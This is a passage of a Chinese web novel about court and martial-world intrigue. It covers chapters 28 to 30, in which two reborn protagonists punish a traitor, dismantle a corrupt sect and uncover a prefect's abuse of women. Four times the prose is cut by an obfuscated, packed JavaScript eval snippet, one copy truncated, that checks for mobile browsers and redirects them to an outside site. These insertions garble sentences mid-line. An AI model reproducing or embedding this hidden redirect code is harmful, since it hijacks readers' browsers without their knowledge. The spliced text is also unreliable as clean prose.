“主子,清泉有异心。”清欢嗓音沙哑,十分虚弱,“这几日有位女子日日到府衙门口喊冤,属下觉得奇怪,就混入衙门看了她夫君的尸体,那人竟是被微兰毒死的!朝青从不对普通百姓出手,属下多方探查,竟发现清泉将微兰卖给了南兴楼!” 宓安道:“此事我已知晓。” 清欢红着脸说道:“属下进南兴楼探查时被人发现,技不如人,实在惭愧。” “朝青有人吃里扒外,不是你的错。”宓安将浸泡灵杨木的水放到桌上,“这药水一日两次涂抹伤口,伤好前忌酒,禁食辛辣,不要动武。” “多谢主子。” 宓安起身离开,清欢又叫住他,迟疑着问道:“清泉只给了南兴楼微兰,并未给解药,主子……打算如何处置清泉?” 宓安没有回头,也没有回答,径直离开了屋子。 朝青的地牢潮湿阴暗,不输刑部天牢。景煦四处看了看,问道:“这里是按刑部天牢建的?” 宓安点头,不打算隐瞒:“前世硬要跟你去天牢就是为了建这里。” 景煦遗憾没能与宓安一起创立朝青,又感慨宓安真是不可一世的天才,只去了一次竟然就记住了整个天牢的结构。 两人无声无息地在牢前站定,清泉良久才察觉,起身行礼:“主子。” 宓安的神情说不上失望,甚至有些事不关己的冷漠,他问:“清泉,这些年,我可短了你们银钱?” 清泉低着头,看不清神情,低声道:“回主子,不曾。主子对清泉恩重如山,是属下对不起您。” 景煦说起风凉话毫不客气:“忘恩负义,见钱眼开,武功还低,安安,你在哪找来的废物?” 清泉浑身一震,红着眼抬头看去,来人大半张脸被埋在斗篷里,看不清长相,景煦看着他,语带讥讽:“怎么,我哪句话说错了?” 宓安语气无奈,却带着一丝纵容:“说了多少次,不许叫我安安。” 景煦“哦”了一声,说道:“要我说你都不必来见他,杀了拉倒。” 清泉从未见过宓安对谁讲话这般有温度,许是知道自己必死无疑,便也大胆问道:“主子……此人是谁?” 景煦笑嘻嘻地敲了敲牢门:“你主子的相公。” 宓安熟练地抬手朝他后脑拍了一巴掌,无暇顾及清泉是何表情,转身离开了地牢。 清泉听到他的主子声音高了一些,是他从未见过的鲜活明朗:“你又在外面胡说八道什么?” 那人满是笑意:“他算什么东西,也敢觊觎你?” 宓安奇怪道:“什么?” “没什么。” 清泉瘫倒在地,咽下了手里的微兰。 是啊,他是什么东西,也敢觊觎主子。 卯时已过,景煦恋恋不舍地独自去了南兴楼,不多时,那位天师就找了过来。 天师满头白发,样貌却很年轻,景煦看着他,总觉得这张脸有些说不出的眼熟。 “宫楼主,听杜堂主说,青安答应替您除去昭王了?” 景煦道:“正是,灵杨木和万两黄金,我不信他不心动。” 天师摇了摇头:“他二人关系匪浅,可没这么简单,楼主此举实在是打草惊蛇。” “哦?”景煦作出一副不信任的样子,“我见青安提起昭王并不熟稔,天师是如何得知他二人关系匪浅的?” 天师道:“天机不可泄露。” 景煦听到这话,悄悄咬了咬牙,迁怒了一下远在京城的枨衔水。 “天师讲话总是模棱两可,恕在下不敢尽信。” 天师笑道:“那是自然。” 他拿出一个瓷瓶放在桌上,说道:“只要宫楼主能将这东西让青安服下,我保证,昭王必死无疑,青安也能任你摆布,到时朝青岂不也是楼主的囊中之物了?” 景煦磨了下后齿,面上却笑道:“天师莫不是在说笑?谁不知青安医毒双绝,寻常毒药能奈何得了他?” 天师一脸高深莫测,说道:“并非毒药。楼主照我说的做就是了,我保证,三天之内,杀昭王,夺朝青。” 这人神棍一样离开了南兴楼,景煦拿帕子包起瓷瓶回了府衙,将东西交给了宓安。 宓安打开瓷瓶,了然道:“是蛊虫。” 景煦一惊,立刻拉起宓安远离瓷瓶,后者哭笑不得,安抚似地握住他的手,说道:“无事,别担心。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648332|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宓安倒出一粒黑色的药丸,解释道:“你记得翠华村那两具尸体,体内有一大一小两只蛊虫吗?这药丸里就是那小蛊虫。” 景煦道:“你那时说,小蛊虫是模仿人类脉搏的。” 宓安说道:“除了模仿人类脉搏,它还能将人体内原本的大蛊虫吞噬,壮大自身。” “知道我体内有蛊虫的,除了你我和国师,还有谁呢?” 二人对视,异口同声:“蛊师。” 宓安坐到床上,让景煦上前,轻轻替他摘除面具:“我自小就远离朝堂,谁会把我当目标?” 景煦道:“许是看你我‘关系匪浅’,想借你的手除掉我。宓将军嫡子刺杀皇子,对方岂不是一箭双雕。” 他着重强调了“关系匪浅”,似乎有些咬牙切齿,宓安好笑道:“这是又在生什么气?” “所有人都觊觎你。”景煦去洗了脸,缓步走到宓安面前,低头看他,伸手将人按在了怀里,“迟早把他们都杀了。” “你怎么整日净盯着别人‘觊觎’我?”宓安哭笑不得,“我看就是你疑神疑鬼,哪有这么多人喜欢男人。” “阿宓可不是一般的男人,阿宓是天下第一美人。” 宓安被景煦抱着,闻言抬手锤了他一下:“胡说八道,滚去隔壁睡。” “不滚。”景煦紧紧抱着宓安,“枨衔水那金币确实有些用处,暂时留下竟然有了凶手的线索。” 宓安抬头看他:“这是我的功劳。” 景煦失笑:“是是是,是阿宓的功劳。” 宓安懒懒地靠在景煦身上,说道:“卢牧和张泰还在大堂关着呢?” “关着呢。” “连张床都没有,卢牧那身子骨怕是要腰酸背痛好几天了。”宓安又靠了一会儿,才说道,“我去看看。” 如宓安所料,两人睡了几天地板,滴水未进,眼圈都乌青了,卢牧更是肉眼可见的瘦了一圈,见景煦进来,卢牧连滚带爬地扑到他脚下:“殿下!实在是那南兴楼威胁下官啊!南兴楼的人个个武功高强,下官不敢不从啊殿下!殿下明鉴!” 景煦踢开他,问道:“万仲是怎么死的?” 卢牧也顾不得南兴楼了,一股脑全交待了。 原来那万仲本就是南兴楼的人,乔泽兰与人私通之事就是他让人杜撰的,乔员外听信传言,将乔泽兰赶出家门,万仲便趁虚而入,俘获了姑娘芳心。 只是此事是瞒不过南兴楼的,杜天德色胆包天,调戏乔泽兰不成,便让万仲将妻子送到他床上,否则就将他杜撰私通的事告诉乔泽兰。 万仲受他威胁,却也不愿做这屈辱之事,终于在杜天德让人不停骚扰乔泽兰之后找上了门,与他大打出手。彼时杜天德刚从清泉手里拿到微兰,脑子一热就撒向了万仲。 宫辽要微兰还有大用,若是让旁人知道南兴楼手里有微兰,他们的计划就会功亏一篑。于是杜天德就找到了卢牧,让他以意外草草结案,谁知那乔泽兰一介女流竟然不依不饶,只好又让张泰摆平此事,没想到正巧被景煦和宓安撞了个正着。 至于手指,则是因为打斗中万仲被杜天德的钩子所伤,为了掩人耳目,杜天德干脆就将受伤的手指砍了下去。 宓安听着,问道:“宫辽要微兰有什么用?” “这个下官真的不知!”卢牧不停磕头,“下官知道的就这些了,其他的真的不知道了!” 宓安又看向张泰,张泰连忙道:“小人也不知道……” “杜天德答应了你什么事?” 卢牧支支吾吾,景煦冷笑一声,卢牧立刻磕头告罪:“他、他答应下官将贪墨之事压下来,杜天德说预川有南兴楼坐镇,无人敢将消息传去京城……” “贪污受贿,以权谋私,草菅人命。”景煦笑了起来,“好样的,不愧是赵盼山的学生。” 28. 新官 听到这话,卢牧浑身失力瘫坐在地,完了,全完了…… 宓安还有些感慨:“赵盼山人脉倒广。一个尚书而已,竟培养了这么多人。” 景煦叹了口气:“大部分是孔玉宣门下,前世费了那么大功夫,又要重来了。” 说话间,前些日子景煦派去请孟兆兴的暗卫已经回了预川,几个月未见的孟兆兴背着一个简单的行囊,被暗卫拖进了大堂。 宓安赶紧起身给孟兆兴腾了个位子,问道:“孟大人这是怎么了?” 孟兆兴有气无力地抬手行礼:“见、见过殿下,见过少师。” 宓安看向暗卫,暗卫道:“回公子,孟大人晕马车。” 孟兆兴扶着椅子,面露菜色,几乎要晕过去,景煦难得生出了一丝愧疚,让人将卢牧和张泰下了大狱,亲自扶起孟兆兴送他去后院卧房。 宓安看着他一只手拽着孟兆兴的胳膊“扶”人,无奈道:“还是让暗卫扶着吧。” 一路舟车劳顿,孟兆兴甫一躺下就昏睡过去,宓安搭了搭他的脉,确认只是太过劳累,才和景煦出了卧房,让孟兆兴好好休息。 两人离开后院,宓安道:“你和暗卫交待了什么?怎么把人累成这样?” 景煦想了下,说道:“‘去红林镇请孟兆兴来当知府,脚程快些’。” 宓安沉默,他知道暗卫呆板,却不知道竟然这么呆,景煦的意思是让暗卫脚程快些去请人,暗卫竟然带着孟兆兴不眠不休,一起“脚程快些”地回来了。 “回头让十三教教其他暗卫怎么做正常人吧。”宓安叹了口气,问道,“这两个暗卫有些眼生,是你那些不常露面的?” 景煦点点头,为自己解释:“其实影暗明没只是有些死板,平日里探听情报也聪明得很。只有这支没编入的才……” 他斟酌了一下用词,说道:“有些呆。” 宓安笑道:“你这样的主子竟然能养出呆板的属下。” “我怎样?”景煦不服气,“虽然呆板,但武功要强上一些。要不是怕无意间惹你生气,我就把他们给你了。” 宓安感慨道:“还是五七九更合我心意。” 景煦笑着亲了他一下,随手翻开这几日卢牧写的公文批注,摇头道:“本想借卢牧揭开南兴楼的假善真相,但这废物说话想来百姓是不会信的。” 宓安也头疼道:“只能等孟大人做出些成绩,得到百姓信任后再做打算了。” 景煦往树上看了会儿,突然抬手一指,说道:“影三,你来。” 影三悄无声息地出现,景煦转头想对宓安说什么,刚张了张嘴,突然又对影三道:“没你事了,先回去吧。” 看着暗卫又无声无息地隐去身形,宓安莫名其妙道:“这是做什么?” 景煦拉着宓安回了卧房,有些不好意思,但很理直气壮:“本想让他易容成宫辽的,但想起阿宓为人易容时会贴的很近,我不高兴。” 说着,他目光幽深,看着宓安:“阿宓给别人易容过吗?” 宓安:“……” 他总觉得景煦有些中邪的征兆,回头一定要让国师替他看看。 “阿宓怎么不说话?”景煦凑近,“还给谁易容过?” 宓安有些无力,边准备易容的工具边随口道:“我学易容时都是拿自己练手的。你让京中暗卫去朝青找清淮学易容,以后自食其力。” 景煦感觉到宓安有些敷衍他,便也不再说什么,沉默良久,宓安突然转头看他:“你在想什么?” 景煦一愣:“想你。” “我没对你不耐烦。”宓安敏锐地察觉他情绪低落,拿起软面具示意景煦坐好,“不要不高兴,笑一个。” 景煦冲他笑了下,宓安弯腰亲了他一口:“真的没有。” “我知道了。”景煦回吻过去,“阿宓会不会觉得我幼稚?” 宓安笑着将面具贴在他脸上:“你一直都很幼稚。” “胡说……” “宫辽”又出现在了眼前,宓安想捏下景煦的脸,却无从下手,只好捏了一把他劲瘦的腰。景煦想亲他,又想起自己现在顶着宫辽的脸,怕宓安嫌弃,只好作罢。 南兴楼仍然一片祥和,有条不紊地进行工作,无人知晓他们的主人已经死于非命,更无人察觉现在的宫辽早就换了芯子。 景煦随口套了套话,南兴楼的几位堂主毫不设防,三言两语间景煦就将事情理清了。 朝青特立独行,实力强大且不与任何一方势力结盟,再加上一些朝青与朝廷有关的传言,江湖上各个组织对朝青忌惮又觊觎。 数月前,“天师”找到了宫辽,承诺替他拿下朝青,而传闻中与朝青主人关系匪浅的昭王殿下,自然成了最碍事的存在。 只是宫辽并不完全信任天师,此时杜天德的失手又引起了景煦注意,所以还没等天师想出对策,就私下里找了宓安,落了个尸骨无存的下场。 现下,景煦百无聊赖地背着手巡视了一番南兴楼,靠搜刮民脂民膏发家的地方,吃穿用度都十分奢靡,景煦边走边在脑中规划整顿措施,不知不觉已经到了傍晚。 天师不请自来,景煦道:“他已经服下了。” 天师有些怀疑,问道:“如此顺利?” “顺利还不好?”景煦嗤笑一声,“天师似乎不信任我?” “不敢。”天师似乎想笑,脸皮却十分僵硬,“今夜我便去会会这位青安公子,楼主只待佳讯便是。” 景煦敷衍了几句,将人送了出去。蛊师的手段他与宓安都不了解,枨衔水又三缄其口,着实麻烦。 这样想着,景煦摸出了出发前枨衔水给的那两枚金币,他似乎没说过只能用一次吧? 金币叮铃落地,一正一反,景煦狠狠翻了个白眼,暗骂枨衔水不靠谱,不知道宓安怎么这么信他。 收好金币,景煦又将南兴楼的事务卷宗大致翻了一遍,心下有了考量,回府衙找宓安用晚膳去了。 孟兆兴睡了一天,终于在晚膳时幽幽转醒,换了身衣裳找到了景煦的卧房。见到开门的是宓安,孟兆兴也不意外,表明来意后,宓安说道:“殿下应该很快就回了,孟大人先到大堂稍候吧。”屋内全是他刚刚制出来的软面具,为妨孟兆兴以为这是从人脸上扒下来的,宓安决定还是不请他进屋坐坐了。 宓安收拾了一下也去了大堂,正与孟兆兴说着预川的现状,顶着别人的脸的景煦就翻墙进了府衙,孟兆兴吓了一跳,宓安连忙道:“孟大人别怕,是殿下。” 景煦挑了下眉,算是打了招呼:“休息好了?” 孟兆兴迟疑着点了点头:“谢殿下关心。只是下官来预川上任,那红林镇……” 景煦摆摆手:“今年春猎上有个人不错,虽不擅武艺但有些才干,他已经到任了。” 孟兆兴放下心来:“殿下思虑周全。” 宓安道:“现在的情况就是这样,需要孟大人尽快想办法取得百姓信任,拔除南兴楼。” “下官定当尽力。” 当晚,本来应当前来“会会”宓安的天师却迟迟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648333|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见踪影。戌时末,宓安猛然感觉体内一阵燥热,被他压制下去后,暗卫也察觉到了什么,齐齐飞身追了出去。 景煦冷笑道:“阴沟里的老鼠,只会暗地里动作。” 宓安有些好笑,说道:“原来说要‘会会’我,就是暗地催动蛊虫?” 可惜他压制蛊虫的功法越发熟练,那只更毒的小蛊虫也并未碰到他,这次对方又要无功而返了。 不多时,暗卫回了府衙,向景煦请罪:“殿下恕罪,那人轻功不错,身法诡异,属下跟丢了。” “无妨。”宓安说道,“国师没提过凶手,想来也不太重要。” 景煦欲言又止,实在想不通宓安到底为什么这么信任枨衔水。 近日事多,二人都没顾上乔泽兰,只派暗卫转告她,杜天德此时还有用处,待来日处置了他,就能带女儿回家了。顺便还告知了她当年被冤枉的真相,乔泽兰听了,沉默良久。 孟兆兴确实有真才实学,上任第一天就亲自走访,从商户到小摊,从百姓家到乞丐巷,缺粮放粮,缺药送药。年轻的知府有着让人安心的亲和力,不到半月就广受好评,加上朝青的推波助澜,一切倒也水到渠成。 “听说了吗?原本的卢大人被杀头啦!” “好家伙!怎么回事!?” “卢大人和张师爷,跟那南兴楼狼狈为奸,逼良为娼!” “我听说南兴楼送的米都是劣质货,好东西都被他们私吞了!” “那现在南兴楼怎样了?” “听说全部财产都被朝廷收缴了!” “那得多少钱啊……” “我侄子在衙门当差,听他说孟大人打算将南兴楼收缴的钱财拿出一部分救济困难百姓,剩下的要给咱们修路呢!” “真的吗!出山进山的路都不好走,出去一趟屁股都颠破了!” “……” 南兴楼总部的牌匾被放了下来,宓安问孟兆兴要换个什么名字,新来的师爷恭维道:“不如就叫‘兆兴楼’?也好让后人知道孟大人的丰功伟绩。” 孟兆兴抬头看着面前富丽的高楼,开口道:“就叫……济民楼吧。” “孤寡老人、遗孤幼童、身体有缺者,确无能力维持生活者,每人每月可到济民楼领五两银子,每日可领三两米。李师爷,辛苦你带人走访各家,将需要领银子的做个详细名册,家中详情也要写明。” “大人客气,为百姓做事,不谈辛苦。” 孟兆兴向宓安行了一礼,道:“少师,往后府衙采购米面,可否用南兴楼收缴的银钱?” 在外收缴的银子,按规矩是要运回京上缴国库的,宓安却笑道:“嗯?什么时候收缴过银钱,那些不是朝青捐赠的吗?” 孟兆兴一愣,宓安递给他一块青色的玉牌:“往后用于救助百姓的米面粮油,直接到朝青拿。” “多谢少师。”孟兆兴深深拜下,无意间知道了一个大秘密,自觉守口如瓶,“下官斗胆,来日若昭王殿下登基,是百姓之福。” 宓安笑了起来:“他确实……” 南兴楼原本的人一部分被朝青收纳,一部分下了大狱,还有些恶事作尽的,包括杜天德在内,都被景煦顺手杀了。 这些时日,孟兆兴四处奔波,景煦也没闲着,重整一个盘踞了数十年的门派谈何容易,这几日昭王殿下忙得脚不沾地,每日也就睡两个时辰。 看着好不容易腾出空来,拿着糖葫芦向他走来的人,宓安在心里补上了后半句。 他确实是个好帝王。 29. 雄山 事情已经了结,宓安抽空回朝青见了清欢一面。灵杨木确实珍稀,清欢已经恢复如常,内力也更加精进了。 “往后预川的管事你一人做主吧。”宓安将两个瓷瓶放在桌上,“微兰不要用了,这是新毒和解药。我会传信给其他分部,统一替换。” 清欢收好瓷瓶,问道:“主子,新药叫什么名字?” “毒药而已,取名字做什么?”宓安不解,就连微兰这个名字也是当初清越顺口取的。 清欢直言:“取个名字说出去比较厉害。” 宓安好笑道:“那你取一个。” 清欢眨眨眼,高兴道:“我真的能取?方才闻着好像有股桂花香,不如就叫‘沉桂’吧?” “随你。”宓安不擅长和小女孩打交道,见清欢开心便也没什么异议,清欢笑着说了声“谢谢主子”,又摸了摸袖中的瓷瓶。 “清泉的事是前车之鉴,你心性纯良,想必不必我多说。”宓安起身,准备离开,“若有大事,老办法找我便是。” “属下遵命!” 从朝青出来,景煦已经驾着马车等候多时了,孟兆兴依然礼数周全,亲自将二人送到了城外。 宓安见孟兆兴一路送出了城,笑道:“孟大人请回吧,你我也算朋友了,实在不必如此客气。” “既是朋友,就更要相送了。”孟兆兴向二人行了一礼,“下官祝殿下与少师一路顺风。” 景煦摆摆手,将缰绳给了暗卫,自己钻进马车偷懒去了。 出城山路崎岖,孟兆兴看着颠簸的马车,计划着尽快将修路事宜提上日程。 宓安精神不错,靠在景煦身上问道:“要在雄山停留吗?” 景煦道:“留。” “怎么,想开了?” 景煦虽然心里还想一路直奔南疆,但不得不斟酌枨衔水的提示,不大高兴地说道:“出发前抛了一次金币。” 宓安笑了起来,拉起他的手哄道:“别着急,你看我不是好得很?”说着,宓安将一丝内力传给景煦,笑道:“功力也没有后退。” 景煦捏了捏宓安的手,从怀里拿出一颗珠子放进他的手心。宓安冷不丁被冰了一下,拿着珠子对着车窗看了看,问道:“这是什么?” “清点南兴楼库房找出来的,我想着你会喜欢,就拿来了。” 这珠子不知是什么材质,通体浅蓝,晶莹剔透,细看还有冰一样花纹,触手冰凉,倒是个防暑的好东西。 “确实好看,我收下了。”宓安懒洋洋地躺在景煦腿上闭目养神,“睡会儿。” 景煦很享受这样的安静,轻轻抚上宓安的脸,看着他轻颤的睫毛,温声道:“睡吧。” - 雄山更加炎热,若不是宓安算着时间,都要以为已经入夏了。好在那颗珠子是个珍稀宝物,放在身上像揣了一袋子冰块似的,散发着阵阵凉意。 景煦在预川的行事朝堂上已人尽皆知,朝青吞并了南兴楼这事也传的飞快,二人一进城,朝青的银铃声就响了起来,宓安听了片刻,闭眼装聋了。 “说的什么?”景煦见他翻了个身继续睡,有些好奇又有些好笑。 “说常驻雄山的势力听说我要来,日日让人来朝青问,管事让我悄悄回朝青。”宓安指挥驾车的暗卫,“雄山的朝青在赌场里。先找家客栈住下,一进城就去赌场有些惹人注目。” 一行人低调住进了客栈,入了夜宓安才带着景煦去了赌场后门。夜间的赌场热闹非凡,门口和场内都有人看守,严防闹事。 宓安催动银铃,门口的守卫立刻行礼问好,将二人引进了内堂。机关转动,一个少年扑了出来:“主子!!!!” 宓安侧身避开,站到景煦身后:“一惊一乍的。” 少年扑了个空,委屈道:“许久不见主子了,我想主子了嘛。” 景煦缓缓将眼神落在少年身上,皮笑肉不笑道:“好好说话。” “清望,这是昭王殿下。” 清望被景煦面色不善的盯着,不知自己哪里惹了他,小心行礼道:“见过昭王殿下。” “他年纪小,别和他计较。”宓安牵起景煦的手,带他进了朝青,边走边说:“赌场内外都有人盯着,出老千的立刻赶出去,输赢全凭运气。当然,朝青作为庄家,也不会从中作梗。” 景煦看向他,奇怪道:“同我解释这些做什么?我还能信不过你?” 宓安瞥他一眼:“我的意思是你让人帮我盯着朝青内有没有人阳奉阴违,借机敛财。” “哦。”景煦叹了口气,目光幽幽,“又要干活了,有没有奖励?” “奖励你睡地板。” 跟在二人身后的清望眼珠子动来动去,从两人身上没下来过,清望心道,才几年不见主子,变化怎么会这么大。 宓安儿时常外出游历,年复一年,顺手救下过许多人。朝青创立之初,就是被宓安救过的一些人任朝青管事,他们无父无母,也就将朝青当成了家。后来势力壮大,他们便被派到了不同的分部担任管事,除了留在京城的那几个,他们都与宓安许多年未见了。 “清望?”景煦突然停下脚步,侧头看向身后的人,清望一愣:“主子?” “和青安说话不要失了规矩。”景煦声音冷淡,听得清望冷汗频频,宓安笑道:“好了,别吓他了。” 景煦却抬手正了正宓安脸上的面具,又看向了清望,后者低头行礼,恭敬道:“遵命。” 这下景煦心情好了,拉着宓安往后厨走,语气天差地别:“吃夜宵!” “这么晚了不许吃了。”宓安把人拉回来,“正事还没问呢!” 景煦只好作罢,老老实实和宓安去议事堂了。 清望将一沓信件交给宓安,说道:“常驻雄山的江湖势力是辛夷楼,南兴楼的事无人知晓内情,但宫辽是主子所杀这事却人尽皆知。宫辽武功高强,辛夷楼忌惮主子也不敢贸然交恶,先示好来了。” “江湖上的组织都叫什么楼,为何当初朝青不叫朝青楼?”景煦翻着信件,问了个题外话。 宓安语气随意:“因为难听。” 景煦笑了出来:“好,很符合安安的作风。” 清望见两人如此相处,顿时觉得这间屋子容不下自己,有些手足无措道:“主子要赴约吗?” “自然要。”宓安笑道,“只是宫辽可不是我杀的。” 景煦“哼”了一声:“那一起去。” “昭王殿下,你还是不要露面比较好。”宓安道,“在朝为官的大多都认识你,明日你还是乖乖去见此地官员吧。” 辛夷楼的总部就在城中最大的胭脂店内,一楼卖胭脂香薰,二楼供客人化妆试香,三楼则是闲人免进,只接贵客的雅间。这些年朝青的香薰都是宓安亲自制,他觉得不错便把香方送去朝青让人赶制。朝青的香从前从未在市面上出现过,既新颖又好闻,抢了辛夷楼不少生意。 白衣出尘,纯银半面,着实引人注目。宓安一到门口,辛夷楼的主人就迎了上来,端着十分的客气:“小女子辛夷楼主人谭忍冬,见过青安公子。” 眼前的女子一袭浅绿衣衫,宓安隐约觉得这张脸与清欢有几分像,也客气道:“谭姑娘不必如此客气,上楼议事吧。” 外面实在是太热了。 谭忍冬笑道:“青安公子请。” 楼内香气沁人,却不粘腻,是宓安很喜欢的味道。谭忍冬引宓安落座,态度和善,开门见山:“南兴楼的事我听说了,青安公子此番前来雄山,不会也想对辛夷楼出手吧?” 眼前的女子生了副温婉的样貌,微微上挑的眼角却添了几分妩媚,现下虽是面带微笑地同宓安说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648334|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却保持着七分警惕。 “谭姑娘多虑了,南兴楼欺压百姓,恶事作尽,朝青只是为民除害罢了。”宓安喝了口茶,语气无波,“听闻辛夷楼向来本分经营,对困苦百姓也会施以援手,谭姑娘善良慈悲,朝青自然更愿意交个朋友。” “青安公子夸赞,愧不敢当。”谭忍冬松了口气,“只是这雄山的知府,却是个十足的畜牲。听说卢牧下马是青安公子推波助澜,忍冬便先替雄山百姓谢过公子了。” 宓安看向谭忍冬,这世道女子艰难,她能撑起辛夷楼,又心怀百姓厌恶贪官,虽无力与官府对抗,却尽己所能接济穷人,着实是个值得结交的人。 “我倒是听闻雄山知府十分勤勉,个中隐情谭姑娘可否详细说来?” 谭忍冬自然愿意借宓安的力粉碎孔志平的假面具,为雄山换个好官,毫无保留地将这些年的事缓缓道来。 雄山知府名为孔志平,此人是当朝丞相孔玉宣的外甥。丞相之位,一人之下,孔志平极度好色,仗着靠山强大在雄山为非作歹,强抢民女。 孔志平背地里恶事作尽,明面上却是一副勤勉仁慈,爱民如子的模样,将朝青都骗了过去。 “孔志平常用的手段,就是故意给被他盯上的姑娘下套。”谭忍冬拍拍手,一位女子走了进来,“她叫辛灵。那年她家中失火,是孔志平掏银子为她葬身火海的母亲下了葬,又对她父亲表示愿意照顾辛灵,让她到自己府中做个丫鬟,每月也能拿些银钱。辛灵才到孔府半月,就被那畜牲糟蹋了。” 谭忍冬挥了挥手,辛灵行礼退下,屋外又走进一位女子。 “她叫辛琬。她的哥哥欠下了一大笔赌债,被追债的人砍断了一只手。辛琬的父亲求助无门,起了卖女儿的心思,也是孔志平掏钱还了赌债,带走了辛琬。直到今日,辛琬那畜牲爹还以为她在孔府享福,到处骂她不孝,不拿银子回家。” “她叫辛悦。一次外出时被歹人打晕,失了身子,明明是僻静无人的小路,这消息却飞一样传了出去,她爹执意要将她烧死,又是孔志平,在大火燃起时救下了辛悦,作出一副慈悲面孔,将辛悦带回了府。” 宓安未曾言语,静静听着,谭忍冬让辛悦离开,说道:“我无意间救下了辛灵,从她口中得知孔府里这样的女子还有许多,我帮她传了消息进去,让那些女子或假死、或出门时被‘掳走’,却也只救出了七个,其他姑娘有些已经惨死,有些还对孔志平满怀信任,做着知府夫人的美梦。” “家已经不能回了,我便让她们改了名字留在辛夷楼,切切花捣捣香料,也算一门营生。” “其他姑娘的身世,青安公子可还要我继续道来?” “不必了。”宓安面色沉重,语气却依然淡漠,“据我所知,雄山只有朝青的赌坊,而朝青向来不许赊账,为何辛琬的哥哥会欠下赌债?” 谭忍冬语气嘲讽:“当时我以为朝青也是银钱至上的地方,便悄悄让人查过,她那哥哥自称欠了赌债,其实是玷污了一个衙差的妻子,衙差让他拿五百两银子私了。” 宓安垂眸良久,说道:“孔志平的事我会放在心上,多谢谭姑娘了。” “不必,若公子真能替雄山的姑娘除去孔志平,应当我向你道谢才是。”谭忍冬看向眼前的少年,虽然难以置信这人年纪轻轻就能建立起朝青这样庞大的势力,又能覆灭盘踞多年的南兴楼,但他却莫名让谭忍冬觉得,雄山有救了。 “孔志平的身后是丞相,公子当真愿意出手?”谭忍冬还是不放心地提醒道,“虽然江湖势力与朝廷井水不犯河水,但当朝丞相位高权重,若朝廷以剿匪为名出兵,也是个大麻烦。” 宓安毫不在意,淡淡道:“丞相而已。” 谭忍冬压下心中震惊,自知不应追问宓安身份,便笑道:“公子好魄力,那小女子,便静待佳音了。” 30. 做局 宓安没回客栈,直接去了朝青,景煦已经等在房里了,见宓安回来,疲惫道:“阿宓,来抱一下。” 宓安摘了面具,坐到了他腿上,问道:“怎么这么累?” “我去见了雄山知府,又让暗卫去找百姓打探了一番,这孔志平风评极佳,也有才干,府衙中的公文卷宗井井有条,连陈年积案都没有。”景煦有些奇怪,“这世上有这么完美的人?” 即便一个知府再勤勉、再公正,也不能保证兼顾所有人的利益,哪怕是孟兆兴这样的好官,红林镇都有一些人对他十分不满。而府衙中有些因事主身故或财产损毁而不能了结的案子也是常事。 宓安将今日谭忍冬告知的内情说给了景煦,景煦听了冷笑一声:“还真是孔玉宣的外甥,和他舅舅如出一辙的狡猾阴损。” 宓安靠在他怀里沉默良久,突然问道:“前世,你是不是想废除丞相这个位置?” 景煦道:“是。独揽大权,弊端太多,很多折子根本到不了我这。只是贸然改制牵扯太广……” 宓安接上:“所以干脆让我做丞相,反正我肯定懒得看折子。” 景煦笑着亲了他一口:“多亏有阿宓在。” “你知不知道每天早起上朝有多痛苦?”宓安不满,“如果这次你还想这么干,请你改一下早朝时辰可以吗,我的陛下。” 景煦笑得前仰后合,紧紧抱住宓安又亲了一口:“前世孔志平这事我竟然闻所未闻,果然还是得多出来走走,整日待在宫里倒井底之蛙了。” “他装的严谨,连朝青都被骗过去了。”宓安在他腿上找了个舒服的位置坐好,“不过,还有一个很重要的原因。” “什么?” “受害者都是女子,她们的声音,太小了。”宓安想起了谭忍冬,这样的女子若是做官,定然也能担起重任。 景煦沉思半晌,与宓安想到了一处:“若是废除相位与女子入朝同时进行,也未尝不可。到时那些大臣说不定就顾不上先反对哪个了。” 宓安点点头:“顺便再给我坐坐皇后的位子,他们就更顾不上了。” 景煦一顿,讪讪笑道:“阿宓怎么知道我想说什么?” 宓安对他了如指掌,淡淡瞥他一眼,说道:“当务之急是先把孔志平解决掉,其他的择日再议。” “我母后在嫁给死老头之前,也是能上战场的将军。”景煦思绪飞回儿时,有些哀伤,“那时她与我外祖一同征战,却不得不女扮男装,死老头一直忌惮外祖战功,知道此事后便硬要我母后入后宫为妃。” 他不自觉搂紧了宓安:“我这身武功,大半是母后教的。” 宓安轻轻拍了拍他的后背,放缓了声音:“前世我爹战死,战乱不断,你全部的精力都用来攘外安内了。但现在我爹还在,北夷也被我们打退了,西岐短时间也不会动作,前世来不及做的事,现在做吧。” “好。” 卧房内一时安静的只剩呼吸声,宓安也喜欢这样,什么都不做,只有两个人安安静静地待着。可惜事务繁多,坐不了多久就不得不起身商议对策了。 